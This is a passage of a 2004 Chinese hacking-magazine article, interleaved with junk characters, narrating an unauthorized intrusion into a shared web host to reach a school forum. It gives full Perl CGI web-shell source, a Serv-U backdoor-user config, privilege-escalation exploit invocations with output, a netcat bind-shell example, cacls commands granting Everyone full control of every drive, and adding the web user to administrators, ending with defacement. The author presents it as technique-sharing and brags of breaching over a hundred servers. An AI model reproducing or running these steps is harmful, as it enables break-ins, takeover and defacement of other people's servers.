剑走偏锋——灵巧的旁注攻击 + U. _( b% u5 {+ l3 `
本文作者:angel" w6 r4 m% F9 W, j c
文章性质:原创8 q0 m2 {5 T( R- A7 q9 B
发布日期:2004-11-09
9 P" x \- d/ M注意:8 J, q1 X% ~+ j
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。9 U6 f1 {4 |. G! k3 Y1 @
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。, g1 L: F. B/ B- g! g, t' m3 @
" R; f0 e$ R( _) H' y! r. C 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" x% x2 M" t+ v% r x. p) \& X+ I3 U% r1 I6 @0 k& \
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
& d- Y: N0 E- r8 `1 Z+ U2 G, j' L' W" {5 {) @, D: A% o2 v
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
1 J: b# [, @5 q! L, ?7 f) v/ Z8 R$ [
- j8 L/ |7 b) [( h+ _/ v 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 5 a9 _& I7 e) J) T
- ~4 h) L; N+ d1 M
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
. \6 q" g; d7 |3 P
" J2 g% V1 }! C$ Y9 h% h 没有目的的跳转目录着…… : K, W- Q( A1 s) X
9 k. h; l7 p! X/ w) {0 x
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
* v& l) d) E$ @. f: N. B ]( Z. P) j8 K1 f4 }9 n, F' ?2 o* h
结束了吗?不,我试着 FTP 一下: ! w& T1 t3 J- ^0 @
) a2 d5 Q7 G; {3 g J2 K
Microsoft Windows 2000 [Version 5.00.2195]* A2 r# |0 e9 ^" \7 l
(C) 版权所有 1985-2000 Microsoft Corp.
) t7 l8 @/ N j% n8 Q$ m$ u
- k/ l% [$ {$ O& SC:\Documents and Settings\Administrator>ftp www.school.com
+ r* ?6 p; n# lConnected to www. school.com.
1 P: F% d/ ~) \0 ^$ W$ I220 Welcome to FTP Server...
: a+ Q4 I' R4 d% b$ q2 fUser (www.bjtrq.com:(none)):
8 W9 J5 c4 b) x a7 V/ Q0 R: @331 User name okay, need password.
5 w+ M$ l3 I* C+ h* D( aPassword: . f E2 V) V4 S, ?) ?% c
530 Not logged in. - U/ u+ |# k$ X" u, o5 e. ]7 x
Login failed.
: N2 x+ W% m, O0 P- n5 D/ w2 Hftp> bye ; W. J% v- g3 l" G) A, y0 o0 y
221 Goodbye! - C- [/ V0 I* q; E- y4 x. |+ _
: V8 Q0 {9 @5 s3 i
. R+ |: J' _" h% f& e% G: H
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
2 S' k9 o! _: S U! y. \3 Y. [3 o2 U5 u6 h$ E; X, |) A5 f
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
. Z. j. Q* T, ]; t& z$ v$ Z0 N8 H$ D0 Y# `% Q9 m5 L
Application Data4 n8 s* A% A# \+ n2 y6 L% B3 b
Documents
2 z; F, W+ p2 x/ l% Q$ A9 ADRM0 w( B) {) G# d+ P. Q5 `$ m) k
Favorites
. h, u: f2 N5 K; c) ?& V) uTemplates7 G4 ~% x9 G) X9 h
「开始」菜单
8 x3 @" C8 G* o: r$ ~3 q桌面
3 {: h3 m4 Y, A: o/ F, d7 }+ H! {
: E+ d* R3 b" V9 {' Y- w% p8 S& @9 m5 {, W R$ s+ m k( @
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 2 m5 f' y. {/ O8 j5 ~8 F
- N) Q5 F( H. P6 F L0 V. L6 B* P
ActiveState ActivePerl 5.8
# \$ e4 ~$ ^$ Y k( S0 q$ N. c+ {Administrative Tools
`/ b/ ? G+ f3 e. m( s, ZDeerfield.com. |7 u2 v& I$ d0 ?$ w
DTemp
4 j' X4 B8 Y; W' ^( _IPSentry
x. y, T0 ` V8 m& \$ f7 vMBM 5
$ w$ j+ V! T: O: C+ HNetMeter/ ^2 B! J! g) A* m
Network ICE. \! d" }7 ~. M6 T
Persits Software AspEmail
2 I8 m# X: f( n& }. x d9 P8 LPersits Software AspJpeg5 G' E W8 R' ~0 W5 I. C) F& T' {
Serv-U FTP Server
3 F. p+ p9 p' y0 YSymantec Client Security+ h( J& M$ q: y+ ^6 K! V: ^- J
Windows 优化大师
" {6 R% p# k' F7 C# b( R: PWinRAR
2 O7 q/ ~1 M+ A' t( G: X启动
. J5 t( B% {9 |2 ]& } d管理工具
u6 j' Q0 H# |. k) F附件1 q+ G9 A7 \( j; S9 Q
! G5 m# V* r1 o3 i' C
& _! S5 {* q/ [6 O 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
" I; w! k/ O" K! H6 H( ^
! W% L! Y" h4 f1 S; g 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
" b3 {) f; ` R3 ^. c: u2 L6 p
5 i9 o% v! w3 ~8 p3 }; {User281=angel|1|0 % T7 ?' g0 x/ L) D) }" t
3 Y8 t$ R9 u" ]+ }
0 A$ ]( m" c. Q$ s% l/ v" D 然后加上 ; ]7 X' u' `8 @
' k. w; J$ S/ }8 H% f" I% T/ C
[USER=angel|1]
% M7 g* x. h5 p- ^5 TPassword=ng98F85379EA68DBF97BAADCA99B69B805
" G! }% R0 ^, Y8 JHomeDir=D:\websites
+ D- i' @ H3 O. c) b/ N" \RelPaths=15 d( P ]! I$ h, K8 v8 {
TimeOut=6002 g8 ]$ W v3 e( u' p3 y
Maintenance=System
' m/ q# z' h2 z$ R9 d0 [Access1=D:\websites|RWAMELCDP
) ?" @: X; V b E) t! eSKEYValues=. h4 i5 A$ y3 X& T2 T. B
. p' C8 K1 g s7 p w& B
5 P4 q U6 k. O& H
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 2 F( B; @1 K# s1 H) U; Q+ M
8 W+ c8 q+ ~/ T 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 9 b% N# Z [9 ~' ?
& X/ `/ P) B7 A 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 O2 f$ h7 ]# e
+ L7 q: O/ E; Q0 o7 x2 W1 m 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 3 J( p4 m9 j1 g
% S# y& ~8 V. S2 }! O, r& \3 ~6 S#!/usr/bin/perl4 m U$ I, g3 [ f1 @
binmode(STDOUT);
; y e @- ` C# @1 R7 ]! Bsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);" f3 q | ]2 K$ I& ?1 b
$_ = $ENV{QUERY_STRING};
1 ]9 `0 ?2 M/ ]7 F9 r3 x- l( |s/%20/ /ig;
( y3 C1 F& {9 z4 A% g9 E' M5 Ks/%2f/\//ig;2 j/ ?5 }* f: Y& @6 r
$execthis = $_;
" B9 a3 U% p; m! e5 H0 Esyswrite(STDOUT, "<HTML><PRE>\r\n", 13);2 d- z1 b$ M* A0 e2 P
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
4 q R7 ?/ x0 X1 J% u' B2 e$ }( _system($execthis);5 c8 L: s5 s/ U
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
5 N" ]# Z z! b1 ^" X! g( hclose(STDERR);
# s: u' {3 H1 U& K3 aclose(STDOUT);* o- [( |7 `4 ], b5 X
exit;. c; y& a; W- x7 a& v) l
) y) F- {) O. t/ y3 n% E7 V9 E" @, b1 B1 Z0 b' G
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 4 t& {& \) j+ R+ E* n: ^4 V
1 E/ g. p4 }/ S Q* f
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: , d& Z. D7 b1 _8 R& \
- o8 W1 X" A7 o7 W, ~http://anyhost//cmd.pl?d:\user\bin\su.exe ( q: [+ M) R5 X
, e% n \; U' r0 c, C, M/ a# z* w0 {) H( m- F
返回:
0 y" `, u' w# E- e7 G
O, b e9 k# a1 ~Serv-u >3.x Local Exploit by xiaolu 8 J; G& }9 b/ y* i* ]$ _4 V
9 }4 D/ T: b7 m: \0 y1 I
USAGE: serv-u.exe "command" ) N( T1 b6 ]9 Q! M9 y2 h* d
% J6 ]6 J$ D& o5 }( I- V0 |Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" - [0 U& W8 r# J9 _& f9 e% T
% A# i* |6 x/ V! |! K
* {0 E4 [- ~! r6 E 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 7 ^) y, W; ~. [ {; _
$ t; M% D2 v6 j/ w/ mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
8 W" R6 }/ ^4 G# ^6 D! }; ~0 b
/ B# m% ^9 q$ s1 V9 H* v& L; _http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
7 w3 i* h* l4 k6 o
$ g4 C% X9 |+ }8 s. Q2 s2 ]3 C9 _http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" * ^ p+ ^' o2 p+ {& C* s/ ~7 Q
1 z1 T; K3 S5 i: ~3 t1 p4 {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
) S7 K5 w F6 D# x) {+ n# b
. C8 ?! R. P+ f4 b4 C
9 Q3 K" E) _* t; p6 W8 {7 J 返回下面的信息,就表示成功了!!! ( M; B7 x4 a5 G$ _' F. P2 O. @9 t' C
8 ?. `# Z8 D% R% W b
Serv-u >3.x Local Exploit by xiaolu # D( x/ s* O B% | s
, z8 P+ g3 Z, R; n3 M; _" M q<220 Serv-U FTP Server v5.2 for WinSock ready... " M8 E& H7 {1 g: g/ p* X# o
\) Q( p* v0 q+ j: ]% w>USER LocalAdministrator 0 Y) N' ? }. k. E2 K
% d; E; ~6 R. j4 ]& L3 X1 X<331 User name okay, need password.
" z' z6 x. X+ z9 g! E$ c
: i6 B/ ` k ?4 r+ ]****************************************************** ! [# C; t. x8 H' h8 i% R
% p x3 d) }8 P6 h* Q9 k7 ~5 g( k+ z
>PASS #l@$ak#.lk;0@P
( {5 Y! x9 k7 v: a3 n
2 e/ |+ D2 J; H1 F1 W4 z1 \! l<230 User logged in, proceed. Y$ _+ T4 K9 |+ k, o& ]
! i( d- d% @6 U, Y( j! {
****************************************************** 4 `) z- k& k1 Q( o2 S
$ e* ^' k1 Z+ z' x% }3 c4 R7 v>SITE MAINTENANCE
$ k( {+ I; n# I' }0 ~ L, ?) V0 u$ m) _1 I$ D3 k
******************************************************
& }; e2 B$ ^1 o, z7 X+ A8 a& e+ i$ J! T6 L
[+] Creating New Domain... ! b! [+ u& N, r2 v6 Y! L6 \
) t) J5 f6 b$ c2 k5 t0 _$ ]<200-DomainID=2
0 P' M( F g( c. |+ _( k7 {
& E$ P+ t; O5 J1 v7 _<220 Domain settings saved 1 s& T/ u3 ?& w2 u# K- k
4 X8 d, w- `! E
******************************************************
4 d) I6 S1 S( Z% g* c9 J$ d1 P
. h9 Z. B5 o5 S% g, V* S$ s; e[+] Domain xl:2 Created 9 D, g' R" _ s2 J; `
; N8 G3 R; p+ i6 L4 d
[+] Creating Evil User
2 I; K' J! Y2 Q; R' C/ ^; n, r) G9 u! ^9 B# \7 M
<200-User=xl 8 s5 g; ?% u. G9 N
8 h. ]1 _' i2 S6 t3 G/ l200 User settings saved
" L) k( ^ u5 ~6 S& t5 |# c+ D7 l% l" M
****************************************************** 5 O0 Y. L7 J7 e
3 J2 C8 u& ?: E6 Q, z! W[+] Now Exploiting... 4 b4 N& n8 S$ @( o. l
. b4 L" _, k7 w$ g( Q
>USER xl 8 W7 n5 ~' W7 ^5 I
5 z2 ?9 n$ n n3 O
<331 User name okay, need password.
: }) V3 n4 p5 I# ~+ t
% `% y R& p) `, S- l******************************************************
, `5 Z0 B' n5 J( \. c3 l# e' ?
; x$ E+ N. B! U2 O: j) |>PASS 111111 , n- [, u& v8 Z" F9 X
Z. U- L, n: i+ z4 W: j8 w
<230 User logged in, proceed. % p* U$ h' @5 G3 P5 `9 K9 v+ i# P
- M% N! M) t8 p$ B
****************************************************** 9 q3 o; W5 i L: \' q
# c- s, ?+ V( D6 F
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
+ H* ]) K; A1 n; q7 B& y5 y# X8 } K, s7 B( a3 g) u4 O( n( T
<220 Domain deleted
' @& g$ z6 f/ [6 J* m1 I) v) _/ a0 g A' Z) w
****************************************************** 5 p4 v+ [, A+ c: f+ k9 N
' h. S! `" _1 ]! h7 v6 _% V% ^# P' ?- \+ \. f
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: " }0 r/ O! W3 u% A p) ?
. B4 w( [4 B; q" j. }; F. ehttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 4 \* t" ]" v) d6 _ w+ m
/ n6 u' o: Q1 |2 f
9 z3 t3 _; E, H8 ^1 K* {0 ^1 F9 N 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
; w2 Z' T& j6 W6 p1 Y/ M; d& ]9 q8 J! X q
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
/ Y r# U, o/ d' w d
9 u# a4 i7 e i+ P/ K( c 7 p: C' C8 B0 f/ T/ ~: h
|